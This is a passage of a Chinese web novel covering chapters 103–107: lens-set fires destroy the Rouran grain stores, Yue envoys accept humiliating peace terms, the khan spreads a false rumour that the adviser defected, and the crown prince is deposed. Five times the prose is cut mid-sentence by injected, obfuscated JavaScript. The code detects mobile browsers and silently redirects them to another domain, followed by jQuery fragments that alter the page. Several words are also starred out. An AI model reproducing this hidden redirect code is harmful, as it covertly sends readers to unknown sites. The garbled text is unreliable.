嗯？ 本来看到那么小一个东西，谢朝乘没当回事，听到这，他蹭地站了起来，拿过护目镜戴上，嘴角忍不住上扬：“扔出**，柔然人眼睛被灼伤，咱们却不受影响，那柔然人不成了待宰羔羊？ 就算是重甲骑兵又如何，我敢说，他们根本不敢和咱们正面作战。” 柔然的重甲骑兵，最厉害的是重甲骑兵阵， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586978|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旦冲过来，就好像一座座的城堡，对越朝将士，完全是平推。 现在该越朝这边平推柔然大军了。 大家想清楚其中的道理，高兴得不知如何是好。 将领们纷纷过来敬酒，韩平都是以礼相待。 酒过三巡，菜过五味，有探马回报，柔然大军退后三十里，顿时又是欢呼声一片。 谢朝乘思虑长远，问道：“先生，下一步该当如何？” 韩平也不藏着掖着：“柔然人共有六路大军，仅仅击退一路是无用的，趁着他们还不了解凸透镜的用法，可派出精锐，把其他五路的粮草，统统烧掉。” 新技术的使用，第一次是最容易见效的，使用多了，柔然人多少都会摸出点门道，至少防护上会谨慎得多。 “妙！把柔然六路大军的粮草全部烧掉，该着急的便是他们了。” 想到柔然处在被动局面，谢朝乘和千总们都乐了。 他们熟悉边关地形，韩平的手下熟练使用凸透镜。 两边各派出五百人，去执行这个任务。 “其余人等，好好休养。” “柔然人肯定不甘心这么被击退，还会有一场反扑，到时候利用**，重创他们。” “如此，他们想不退兵也不行了。” 关键还是要打疼柔然，韩平是从这个出发点去安排的，谢朝乘摩拳擦掌，恨不得马上就开始这场大战。 皇上下令让他击退，现在好了，他更进一步，直接把柔然大军击败。 这是越朝几十年不曾发生过的事情。 有此一战，柔然短时间，便不敢南下，越朝终于可以获得休养生息的机会。 …… 中郎将姜道昌身负使命，日夜兼程，花了五天，赶到了老牛湾，镇守此处的是老将军潘时臣。 老牛湾一带地形复杂，不是一个城池，而是连绵十几个小型城池，隘口，潘时臣能把守此地，让柔然人无法前进，根源就在于，他老成持重，轻易不会冒险。 见到拿着节杖的姜道昌，他面色沉郁：“只能求和了吗？陛下有没有说，我们的底线在哪？” 古往今来，求和的一方，都是备受**，没有例外的，潘时臣想要一点体面。 姜道昌让潘时臣赶走身边人，无奈道：“陛下交代，愿意割让半个怀荒之地，每年纳贡白银两百万两，送丝绸十万匹。柔然若有求取公主之意，允之！” 第103章 求和 第一百零三章求和 割地，纳贡，和亲…… 在历史书上看到过无数次的内容，潘时臣不忍卒听，如此一来，大越君臣蒙羞，百姓蒙羞，将士们更是蒙羞。 “岂可如此委曲求全？” “老夫愿拼了这条老命，和柔然人打个鱼死网破，为陛下争取更好的和谈条件。” 潘时臣当然知道，越朝处在绝对弱势，只是，弱势是一回事，窝囊成这样又是一回事。 如果能够和柔然人打一场打仗，展现一下越朝的勇武，柔然人便不敢如此放肆。 “老将军，万万不可。” “陛下一再叮嘱，往后十年，我等当忍辱负重，卧薪尝胆。” “等到十年之后，再图进取不迟。” 局势已经如此，姜道昌既是皇上的使者，他自己也真心地认为，只有这么一条路可走。 说到底，还是打不过。 如果潘时臣和柔然人决战，打败了，只会更惨。 “说得好听，给了柔然人那么多土地，银两，他们只会更加强大。我们什么时候，才能强过他们？” “陛下可有什么方略？” 历史上签订**合约的多了，能够卧薪尝胆，积累力量反击的，寥寥无几，越朝如今是内忧外患。 内部的蝗灾怎么解决，他没看出朝廷有什么办法。 内部的灾民暴-乱，土匪四起怎么解决，他也没看出朝廷给出章程。 好像把时间拖过去，一切会自动解决。 他一想到国势艰难至此，便夜不能寐。 “老将军，陛下圣明，自然成竹在胸，只是不曾告知小臣。” “将军还是送我去见叱利可汗吧。” 姜道昌心说，我才几品小官，连上朝的资格都没有，能知道这种军国大事吗？ 现在过来和谈，不过是履行陛下旨意，说难听点，就是负责背负骂名的。 “辛苦了！” 知道咋回事，潘时臣自然也不会为难他。 不过，要去见叱利可汗并不容易，他先是擂鼓聚将，然后把大军排开阵势，慢慢靠近柔然大营。 如此一来，自然惊动了对面的柔然大军。 潘时臣打出和谈的旗号，柔然大军中拍马出来一人，身高八尺，膀大腰圆，面色古铜，鹰钩鼻，眼神阴骘，穿着一身重甲。 正是柔然二十四长排名第五的左骨都候，沮渠蒙逊。 他和叱利可汗也是亲戚，只不过是外戚。 在二十四长之中，他的实力数一数二，也是如此，才负责压制久经沙场的老将军潘时臣。 “哈哈哈……潘将军，你看到了吧？你们的朝廷根本没有胆子和我们打。” “我们的可汗就在后方，随时支援我们，你们的皇上只知道在皇宫里耍威风，连饷银都拖欠。” “今天是求和，过不了多久，便只有投降了。” “识时务者为俊杰，潘将军何必执迷不悟？如愿归降，我立即凑请可汗，封将军为右骨都候，地位仅在我之下。” 柔然人最佩服能打的人，他和潘时臣打过很多次了，明明他手里有重甲骑兵，有着绝对优势，可每次都没有占到什么便宜。 潘时臣擅长阵法的不说，还可以灵活使用拒马，战车，木叉，沙拦，鹿角，绊马索这种器械，让柔然骑兵跑不起来。 重甲骑兵跑不起来，就会笨重，潘时臣又会在马道上放置钉板，铁蒺藜，茅针，鹅项，菱角，皂角等，进行陷马。 比如鹅项这东西，样子就像鹅的脖子，两头都是钩子，一边绑着绳子，藏在沙土之中，马一旦经过，拉起鹅项，往往连人带马都会摔下来。 其他的，还有陷马坑，坑里插着铁球刺，要么抹着**，要么浸泡过金汁，一旦踩中，非死即残。 最简单的，还有用绳子设置的踢圈，踢圈一边是个绳套，一边绑在木桩上，打入地下。马一旦踩中，马蹄就会被套牢，战马正在奔驰，有时候连马腿都能扯下来。 还有一些小玩意，更加隐秘，专门针对马蹄子，伤害性不大，但马蹄子一旦出问题，便无法作战了。 说起来这种种行为都极为阴险，可对重甲骑兵确实有克制作用。 每次和潘时臣作战，沮渠蒙逊都是小心翼翼，绝对不敢托大。 “骨都候说笑了，潘某不才，忠心还是有的。” “今日和谈，是我皇帝陛下仁义，不愿意看两边将士伤亡。” “贵国若是欺人太甚，老夫奉陪到底。” 越是和谈，越是要拿出强硬姿态。 此时此刻，潘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591986|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时臣也只能嘴上警告了，沮渠蒙逊阴险地笑了笑： “潘将军傲骨铮铮，就怕你们的这位皇帝，是个软骨头，哈哈哈……” 言辞交锋之后，潘时臣便把使臣董道昌送了过去。 对董道昌，沮渠蒙逊可没什么尊敬可言了，他冷冷淡淡：“跟我来吧。” 就算是潘时臣，也只有防守之力，沮渠蒙逊并不担心被偷袭，便亲自带着董道昌去见叱利可汗。 毕竟，送来求和使者，可是一件荣耀之事。 …… “平地起火？” “莫非此人会隐身不成？” 叱利可汗听了谷蠡王的话，也是惊骇莫名。 人都怕未知的东西，他坐镇后方，算是御驾亲征，有心一举灭了南越，不想遇到这事。 “可汗，我也闹不明白，只是五万大军的粮草，确实被烧了个精光。” “如今渔阳城内有了韩平，想要攻克，难度倍增，还请可汗调集大军，最好一击而定，不给韩平还手的机会。” 先出被**打蒙了，接着粮草被烧，又被打蒙了，谷蠡王对韩平，已经有了本能的避让之心。 主要是害怕，韩平再玩出什么新鲜的。 “谷蠡王以为，需要多少军士？” “至少……至少三十万吧。” 听到这个数字，叱利可汗脸色无比难看。 柔然虽然说是马背上的民族，人口却不多，现在六路大军，已经是所有兵力了，如果再征集，治下百姓会有怨言的。 “有了三十万，便能战胜那韩平吗？你可有把握？” “这个……” 最先接触的**，到现在还没闹明白呢，谷蠡王哪里敢保证，只是人数不够，他有点不敢上了。 叱利可汗见他一副吓破胆的模样，哪里敢抱期待？ “禀告可汗，南越使臣求见，南越君臣甘愿割地赔偿，缔结和约。” 正在这时，亲卫进来，送来了让人开心的消息，叱利可汗顿时神情一松。 求和就是怕了，看来韩平只是神秘，其实并没有那么可怕。 “让他进来。” 他端正身体，拿出十足的威势，谷蠡王一听求和，当时就想，这是好事啊，最好是别打了，真不想面对那鬼神不测之人。 第104章 ** 第一百零四章** “小臣董道昌，拜见圣人可汗。” 来求和的，董道昌没有勇气，像历史上铁骨铮铮的使臣那般，昂然不跪。 他是读书人，践行圣人之道，加上圣人二字，更见尊重。 “哼！” 叱利可汗既不说平身，也不说请起，反而疾言厉色，“尔等南蛮真是好生无礼，屡次犯我边界，杀我狼族。本汗御驾亲征，前来复仇，你们又说求和！” 草原民族往往有狼崇拜的习俗，柔然也不例外，他们自认为是狼的传人，并且推崇狼的团结，凶残，嗜血。 不加掩饰地说出来，就是告诉所有人，他们是掠食者。 “圣人可汗，此事都是那些武夫所为，小臣不知啊。” “今日小臣是奉我皇帝陛下旨意，诚心和谈。” 还没怎么呢就指责上了，董道昌内心是无语的，到底咋回事，谁不知道啊？ 南越是农耕民族，喜欢的是种地，草原上没法种地，根本没人去，更不要说杀柔然人了。 其实，很久以来南越对柔然，是有巨大鄙视心里的。 说白了，就是优越感爆棚。 原因很多，比如游牧民族食物单调，没什么好吃的。 别看他们养了那么多牲口，并不是天天吃肉，大部分时候是吃奶，牛奶、羊奶、骆驼奶、奶酪、奶茶、奶豆腐等。 因为奶是白色的，所以也叫吃白食，红食则是牛羊肉。 除了食物，住房就搭个帐篷，和越朝的雕梁画栋没法比。 长久以来，酿酒，制铁，丝绸等等，柔然人都要从越朝购买。 在越朝眼中，柔然就是蛮夷，根本没当回事。 在之前，别管怎么乱糟糟的，随便派一偏将，轻轻松松吊打柔然，只可惜现在不行了，反过来了。 “既要求和，说说你们的诚意。” 叱利可汗眸光闪动，头颅昂得高高的，完全是得胜者的姿态。 “启奏圣人可汗，我方愿向贵方每年纳贡白银一百万两，赠送丝绸五万匹。” 底线是一回事，姜道昌想展现自己的能力，尽量降低赔偿，他低着头，别人也看不出他的表情。 “混账！” “难道脚下土地，还让本汗还回去不成？” “既如此，还谈什么？” “两国交战，不斩来使，请回吧，咱们再行打过。” 知道越朝之人狡诈，叱利可汗直接不谈了。 顿时，姜道昌冷汗冒出来了，现在什么形势，他是非常清楚的。 景武帝为了能够和谈，做了非常多的准备，他敢弄坏了和谈局面，小命都会不保。 “怀荒一半土地，自然是贵方所有。” 他赶忙做补充，心里依然带着侥幸呢，叱利可汗最在乎的，便是得利，沉思之后说道： “赔偿，纳贡，割地都有了，和亲呢？听闻德阳公主李含贞，美貌端庄，俏丽非常，本汗素来倾慕，就她吧。” 不管韩平到底怎么回事，叱利可汗知道，自己必须强硬到底，不强硬反而会引人怀疑。 人世间最快乐的事情，莫过于抢夺敌人的土地，金银和美人。 不说别的，往后余生，每日看到德阳公主，便是莫大的快活。 “圣人可汗，这……这恐怕不行，德阳公主是我皇掌上明珠，宠爱非常，绝对不肯的。” 董道昌连连摇头，就好像第一次当婊-子的良家，脸上是几多愁苦，几多悲愤，几多无奈，他越是这样，叱利可汗越是得意： “如若不行，咱们便继续打，等占了东都，德阳公主早晚是本汗嘴里的肥肉。” 寸步不让，还要得寸进尺，叱利可汗极力施压。 董道昌长叹一声，老泪滚滚而下：“答应，我方答应便是。没有其他的条件了吧？” 他的语气已经带上了悲愤，就好像良家下海，对方无孔不入便罢了，还要玩许多新花样。 忍无可忍，忍了又忍，恨不得肉里长牙。 “还有最后一个条件，大越皇帝需称我为兄，从此两国，结为兄弟之邦。” 要钱要地要女人，这是里子，还得要面子呢。 如果是普通人，谁叫谁哥，谁叫谁弟，没多大关系，可对帝王而言，这无疑是奇耻大辱，尤其还要记载于史册之上。 比如历史上最经典的，渑池会盟，秦王让赵王弹瑟，赵王弹了，秦王马上让人记录下来，某年某月某日，赵王为秦王弹瑟。 好，这便上了历史了，赵王要在历史长河中，光屁股拉磨，转圈丢人。 这时候蔺相如站了出来，说请秦王敲缶，也就是表演敲击乐。 秦王多鸡贼一个人，自然不能答应，蔺相如拿着缶走近，说我距离你只有五步，你如果不敲，那我就和你拼命，用腔子里的血淹死你个犊子。 秦王无奈，瞎几把敲了几下，蔺相如马上让御史记录，某年某月某日，秦王为赵王敲缶。 就这么一件事，历史上花了大量的笔墨去写，表现蔺相如的刚烈，能够维护主上荣光，成了无数臣子敬仰的典范。 “圣人可汗，此事小臣无法做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591987|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主，必须回禀我皇。” 闹呢，一个帝王，最在乎的就是尊严，就是面子。 所谓父辱则子死，君辱则臣死，这是最大的礼节。 董道昌敢贸然答应这个，回去就得被凌迟处死。 作为臣子最大的用处，就是维护君父的尊威，这是任何一个臣子都不敢触碰的禁忌。 “你禀告便是。” 叱利可汗不当一回事，董道昌想努把力：“圣人可汗您既然愿意迎娶德阳公主，便和我皇有翁婿之亲，再让我皇尊可汗为兄，这……名分会乱的。” 没这样的，你既是我家皇帝的女婿，又是我家皇帝的哥哥，这相互之间，怎么称呼啊？ “哈哈哈……” 董道昌本以为自己说服力挺强的，哪知道叱利可汗仰天大笑，“你们越国人真是啰嗦，什么礼仪名分，还不是你们儒生说了算？尽管按我说的去做，自有大儒为我辩经。” 好像被人扎在心窝子上了，董道昌直抽抽，对方连人伦大礼都不在乎，他就是巧舌如簧，也全然无用。 “小臣告辞！” “慢！我柔然狼族个个都是干脆利索的汉子，本汗只给你们三天的时间。本汗会派右贤王前去插箭岭。 三天之内，你们不到，和约作罢。” 三天时间实在太紧，董道昌来不及休息，马不停蹄地回去了。 他一走，左骨都候沮渠蒙逊略带不满：“可汗，我方局势大好，为何答应和谈？” 叱利可汗松了口气，疲惫道：“你问谷蠡王。” 嗯？ 沮渠蒙逊皱眉看了过去，他对谷蠡王郁久通迦向来是有意见的，自认为本事远远在他之上，却要位居他之下，深以为耻。 “我部粮草被烧光了。” 谷蠡王病恹恹地说道。 沮渠蒙逊眼睛放光，嘴角忍不住翘起，鄙视之意溢于言表，嗤了一声，嘲讽起来：“真是好笑，堂堂谷蠡王，连自家粮草都守护不住，我是说你无能呢，还是说你愚笨呢？” “骨都候！不是本王无能，是对手太过诡谲，如果是你，同样无法防备。” 在谷蠡王看来，这真的是非战之罪，人家可以虚空生火，怎么防？ “可笑！行军首要便是粮草，本候可不会愚蠢到这种程度。” 现在的沮渠蒙逊，完全是不可一世，看谷蠡王都不用眼睛了，用鼻孔，好像在说，还谷蠡王呢，老子用鼻毛都能扎死你个鳖孙。 他刚说完，外面响起了杂乱之声，斥候慌慌张张地跑了进来：“可汗，大事不好。” 第105章 韩平韩平，又是韩平 第一百零五章韩平韩平，又是韩平 “混账！” 沮渠蒙逊一脚踹了过去，把斥候踹翻在地，“几多大事，如此慌乱？我柔然狼族在任何时候，都要镇定如恒，处变不惊。” 能当上骨都候，沮渠蒙逊驾驭军兵还是有一套的。 打完人，他拿起水囊递给斥候，跑了那么长的路，正焦渴，斥候感激不已，咕咚咕咚喝了好几口，放下水囊，面带悲色道： “可汗，其他五路大军的粮草，统统被烧了。” 啊？ 营帐一下子安静得落针可闻。 沮渠蒙逊好大会子没有反应过来，从来都是柔然压着越朝打，越朝士兵见到柔然大军过来，胆战心惊，敢于正面迎战的，便算勇士了。 烧粮草？ 他们怎么敢？ 难道他们就不怕柔然狼族之怒吗？ “你说清楚，难道我的粮草也被烧了？” 沮渠蒙逊到现在还没当回事呢，他太了解对面的潘时臣了，那是防守大将，任何风险都不会冒的。 他喜欢在自己的地盘打仗，偷袭烧粮草这类事，决不会干。 “骨都候，贵部不但粮草被烧光，小公子也被烧**。” 斥候想着沮渠蒙逊承受能力强大，便直说了，哪知道，他刚说完，沮渠蒙逊眼睛直愣怔，瞪了一会，身体绵软，瘫在地上，嘴里喊着：“不可能，不可能……” 他有五个儿子，前面四个都挺有才干，只有小儿子沮渠复株好吃懒做，风流成性，为了磨炼小儿子，他便强行把他带在身边。 只是到底溺爱，不愿意他上战场，只让他负责看守粮草，哪知道竟发生这样事情。 他对小儿子格外宠爱，有个很大的原因，柔然人对礼节不太在意，对待女人，讲究一个实用，崇尚父死子继，兄终弟及，又或者兄弟共妻。 狐鹿姑原是他父亲的女人，他觊觎已久，等他父亲去世之后，他如愿以偿，继承了这个女人，爱屋及乌，对狐鹿姑生的孩子，另眼相看。 也是这个原因，才宠坏了。 虽然他经常训斥小儿子，但只要见到，总是说不出的慈爱。 “骨都候，节哀。” 叱利可汗也是脑瓜子嗡嗡响，一处大军的粮草被烧，可以说是对方侥幸，可以说是谷蠡王疏忽。 所有大军的粮草都被烧了，那只有一个原因，对方掌握了特别的放火之法。 他的手指快速地敲击桌案，试图想出个对策，一时之间，全无头绪。 “到底是怎么回事？谁有这等本事？说，快说！” 极度悲伤之后，是滔天之怒，沮渠蒙逊这辈子没吃过那么大的亏，面对越朝，他有着**以为常的霸道。 他杀越朝士卒百姓，杀多少都浑不在意，但只要越朝的军兵杀了他的人，他便恼怒异常，感觉被冒犯了。 何况这次死的，是他最亲最爱的小儿子。 “骨都候，吐屯也说不清楚，只知道先是柳絮乱飞，接着十几道光芒汇聚，火便烧起来了。 大家伙忙着灭火，小公子喝醉在营帐里……” 斥候只能把自己知道的，都说了，吐屯则是他的自称，柔然的话里面，掺杂了太多其他民族的语言。 吐屯原是突厥负责监察一方的官职，柔然人拿来用作斥候的自称。 小公子这种称呼，则是最近几十年才跟着越朝学的，只因为越朝的公子，格外奢华有排场。 “连对方是谁都不知道吗？我问你谁放的火！” 一把抓住斥候的衣领，沮渠蒙逊已经到了暴走的边缘。 谷蠡王急忙拉开，说道：“骨都候，谁放的火不重要，背后一定是那韩平指使。 此人有通天彻地之才，鬼神不测之术。 阎罗醉你喝过吧？ 那便是他酿的，他还有其他的宝贝，诸如**，酒精等等。 这次隔空放火用的何种秘宝法器，尚未可知。” 谷蠡王苦瓜着脸，光是一个**，他便大感棘手，又来了个放火的，他更是心中发憷，眼巴巴地看向叱利可汗：“可汗，退兵吧？” 他是真怕一败涂地，到时候谁纳贡，割地，赔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591988|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偿，和亲，就不好说了。 如果按他的意思，最好两边罢战一段时间，柔然这边需要派出隐狼，好好地弄清楚，**到底咋回事。 那阎罗醉咋那么烈的。 酒精如何就能防止伤口腐烂的。 又怎么做到隔空放火的。 多了个韩平，他总觉得，现在的越朝，一团漆黑，深不可测。 “不可！” 沮渠蒙逊暴跳如雷，“可汗，南蛮不过一时取巧而已，他们若真有本领，怎么不打到这里来？怎么不正面对战？ 我愿率领五万大军，迎战韩平。 不把他的脑袋当尿壶，难解本候心头之恨。” 叱利可汗犹豫了，战吧，怕对方稀奇古怪的东西太多，不战吧，吃了那么大的亏回去，实在丢面子。 而且，也容易伤了骨都候复仇之心。 “骨都候坚持如此，本王愿意和你换防，如果你真能拿下韩平人头，右谷蠡王之位，也是你的。” 眼珠子微微一动，谷蠡王顺水推舟，他想弄清楚韩平到底还有什么本事，但他不想冒风险，现在有个出头鸟，就让他上吧。 对抗潘时臣多好啊，只要自己摆开阵势，潘时臣就不会冒险过来。 “一言为定！” 带着怒气和复仇之心，沮渠蒙逊战意蓬勃，“给我三天时间筹措粮草，三天之后，就是渔阳城城破之时，也是韩平丧命之日。” 大军没有粮草，是无法安心打仗的，他说的筹措，无非是四处劫掠，反正不管是越朝的百姓还是土匪，都不可能是他的对手。 “壮哉！” “本汗静等骨都候大胜归来。” 两人都说到这种程度了，叱利可汗也不好拦着，只是，等两人离开营帐，他眉头皱得厉害，手指用更快的速度，敲击桌案。 许久，他目射-精光：“来人，立刻派精兵深-入越朝腹地，拦阻边关信息，如需要，不妨屠灭驿站。 拦阻之后，散布虚假消息，就说渔阳城已破，谢朝乘战死，大才韩平已经归顺我柔然，官拜左贤王。” 第106章 谣言 第一百零六章谣言 “小臣陈居易，拜见三皇子殿下。” “这是庄知州和袁通判的一点敬意，从今而后，两位大人愿为殿下鞍前马后，在所不辞。” 地方官是不能轻易进京的，庄典和袁郛便派了陈居易进京，对三皇子李元泰表达效忠，这也是认主的基本流程。 李元泰在朝堂上，愿意帮两人说话，算是认下了两人。 “他们两个倒是懂事的。” “我问你，那工坊能给嘉陵带来多少税银？。” 看了眼，发现是三万两银票，李元泰面带笑意，对庄典，袁郛两人的出手，还是满意的。 因为朝廷形势不明，很多封疆大吏采取观望策略，往往给几个皇子都送礼，只是礼物的分量比较轻。 三万两对李元泰也是一笔不小的进项了。 更可喜的是，这种银子很可能年年都有。 "禀告殿下，庄知州和袁通判两位大人的意思，为了留住韩先生，对工坊课以轻税，或者不收税。 这是没办法的事情，实在不是两位大人不愿意课工坊重税，隔壁琴川知州陈文灿，手段太多毒辣，争抢太过厉害。 他不光白送韩先生土地，还几乎不收税银。 若嘉陵征收工坊的税银太重，工坊即使不迁走，也会刻意缩小规模。 到时候韩先生扩大琴川的工坊规模，嘉陵只会得不偿失。 不过两位大人已经拟定新规，增加其他商户的税银，尤其针对倒卖白糖，阎罗醉，冰淇淋的商人。 预计之下，一年商税可增加至十二万两。” 该怎么说，说什么，庄典和袁郛都交代过了。 陈居易特别提了琴川，就是告诉三皇子，旁边有个琴川，琴川有个贼叫陈文灿，他一直惦记着，一直眼红着呢，三皇子一定要帮忙啊。 同样为了达到这个目的，两人没有隐瞒，把估算的结果，诚实告知。 “十二万两？真的吗？” 蹭地一下，李元泰站了起来。 这个数字不是高，而是高到天上去了，完全出乎他的预料。 他还以为，能有几千两就不得了啦。 嘉陵只是个州城而已，普通的州城，较为繁华的，一年的商税能有一千两，便可说政绩卓然了。 差的大概几百两，甚至有几十两的。 实在是因为自古以来商业便不发达，越朝算不错的了，然而国税大头依然是农业税，约占百分之八十。 随着蝗灾日益严重，今年的农业税只怕连三成都收不上来。 同样因为蝗灾，大家手里没钱，自然无法花钱，商业税也要大幅度萎缩，能有之前的四五成，便算合格。 现在好家伙的，一个州城的商税，突然增加了一百多倍，吓**不偿命的节奏。 更不要说，这只是明面上的，当地的商户少不得孝敬庄典，袁郛这些人，那就更吓人了。 一时间，他都有点庆幸，在朝堂上帮两人说说话，还真做对了。 夺嫡的路上风险重重，没有钱可不行。 “确实如此！这还只是现有规模不扩张的基础上，其实工坊里还有几样产品呢，比如那酒精，辣椒素。 据说酒精能够防止伤口腐烂，如果是真的，谁家不想备着一点？销量肯定极大。 袁大人十分喜欢那辣椒素，说辣椒素一出，定然会名震天下，尤其是在蓉川地区，更是会爆火。 只是不知道韩先生会不会在嘉陵销售酒精和辣椒素。” 既是介绍情况，陈居易也把嘉陵面临的难题说了。 意思简单，嘉陵是有个金鸡母没错，只是这金鸡母能不能留得住，能不能长得肥，就得看您三皇子的了。 李元泰听得热血沸腾。 他是没想到，一个韩平能够带来那么多的商税，现在才明白，为什么太子那么积极给韩平请功。 不过，太子的行为，只会给韩平带来灾难，这倒是个问题。 “情况我知道了，你告诉他们两个，用心办事，我不会亏待他们的。” 怎么保住这个金鸡母，李元泰需要好好想想。 …… “奉天承运，皇帝诏日：朕继天命，承先祖之基。太子李元亨地居嫡长，受封以来，理应业履昭茂，勤政爱民，允兹守器，养德东宫。 然，近年以来，威权自专，窥伺神器，暴戾专横，骄奢yin逸。 朕心哀痛，特此诏告天下，废黜太子之位……” 东宫，传旨太监石茂良一板一眼，高声诵读圣旨。 跪在地上的李元亨，面目激愤， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595214|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬牙切齿。 圣旨中指责他的话，根本是污蔑，他一直想做天下典范，又怎么会触犯这些？ “哈哈哈……暴戾专横，骄奢yin逸……欲加之罪，欲加之罪啊……” 那么多年的太子，战战兢兢，如履薄冰，就连衣服都不敢用太过华贵的，东宫饮食更是极尽节俭，结果得到的却是这样的评价。 向来不敢反抗的他，有点难以自制。 “废太子孟浪！” 石茂良马上训斥了起来，“皇上说你有罪，那指定是有罪，领旨谢恩吧。” 李元亨脸色变幻，终于五体投地的跪拜：“罪臣李元亨，领旨，谢恩！” “这还差不多，哪有质疑君父的道理？你敢说，咱家可不敢听。” 太监最是会跟着风向走，石茂良一会儿也不愿意在这多待，急匆匆回去复旨了。 李元亨捧着圣旨，瘫在地上，半天起不来。 东宫上下，安静得可怕，不是大家没有同情心，实在是因为，没法安慰，人家李元亨失去的，可是太子之位啊。 本来可以登基称帝，成为大越最有权势的男人。 在地上坐了许久，李元亨回到房间，看着门口的太子府詹事孟庆和，有气无力地问道：“还没有韩先生的消息吗？他没有击退柔然大军吗？” 绝望折磨得他，脸色苍白，神情憔悴。 孟庆和斟酌再三说道：“殿下，据说陛下收到了八百里加急。渔阳城已经被攻破，谢朝乘战死，韩平投降柔然，做了柔然的左贤王。” 啊？ 好像看到唯一的救命稻草越飘越远，李元亨身子晃了晃，自言自语：“怎么会这样？怎么会呢？ 他不是一代高人，不是麒麟才子吗？ 投降算怎么回事？ 风骨何在？” 接着他疯疯癫癫地大笑：“哈哈哈……荒谬，荒谬啊，韩平误我，韩平误我……” …… 没有不透风的墙，何况这种消息又是叱利可汗有意传扬，很快，吏部侍郎之女房春白也得到了消息。 她蹙着眉头，白嫩的手指纠结着：“不可能！写出那般诗词的男儿，怎么会投敌叛国？绝无可能。” 在一片风声鹤唳的喧闹中，使臣董道昌快马加鞭，带着和约，回来了。 第107章 群情激愤 第一百零七章群情激愤 在接待了董道昌之后，景武帝召开了朝堂会议，并把叱利可汗提的条件，给群臣观看。 “畜生！禽-兽！败类！叱利小丑，欺人太甚！” “割地赔偿纳贡都罢了，他还敢索要德阳公主，简直放肆至极。” “戎狄之心，实在丑陋！” “想我天-朝上邦，被柔然蛮夷欺辱，天啊，地啊，祖宗为何不显灵啊？” “更可恨，他还让陛下称呼他为兄长，我呸！他哪里配啊？” …… 理所当然的，朝堂之上，所有人谩骂了起来。 虽然大家都知道，历史上的求和，基本都是这个样子，可**就是**。 就连景武帝的眼睛也是红红的，他拍了一下龙案，怒道：“叱利可汗猖狂至此，朕有意带百万大军，御驾亲征，众爱卿以为如何？” 态度还是要摆出来的。 那么多的条件中，他最无法忍受的是认叱利可汗为兄，其他的，都可以接受。 刚刚还肯定了姜道昌的能力，毕竟他的底线是两百万两白银，十万匹丝绸，姜道昌给谈成了一百万两银子，五万匹丝绸，省了好多钱。 “陛下！万万不可！” 能在这儿站着的，都是人精，大家太清楚了，大越需要和柔然和谈，皇上更是一心一意要和谈，没办法，真的打不过。 这些年来，每年在边境花费了海量的银子，结果只能勉强防守。 内部灾情如火，土匪肆虐，和谈之后，先顾一头是正经。 “虽然叱利可汗索求甚多，还损害陛下天威，然天下百姓需要这场和谈啊。” “正是，请陛下以天下百姓为重，以江山为重，暂且忍耐。” “圣人云，君为轻民为重，陛下必须为天下万方担当大任，再大的委屈，都不可动雷霆之怒。” “陛下就是杀了老臣的头，老臣还是要说，不能再打了，有些土匪已经开始称帝了，有个什么八坨子山的范庭光，自称太-祖。” …… 王朝天下，有其他人称帝，就算规模再小，也引人侧目，更不要说，范庭光手下的人，越来越多了。 至于自称太-祖，确乎可笑了点，太-祖太宗一般都是帝王死掉之后，继位者给的庙号。 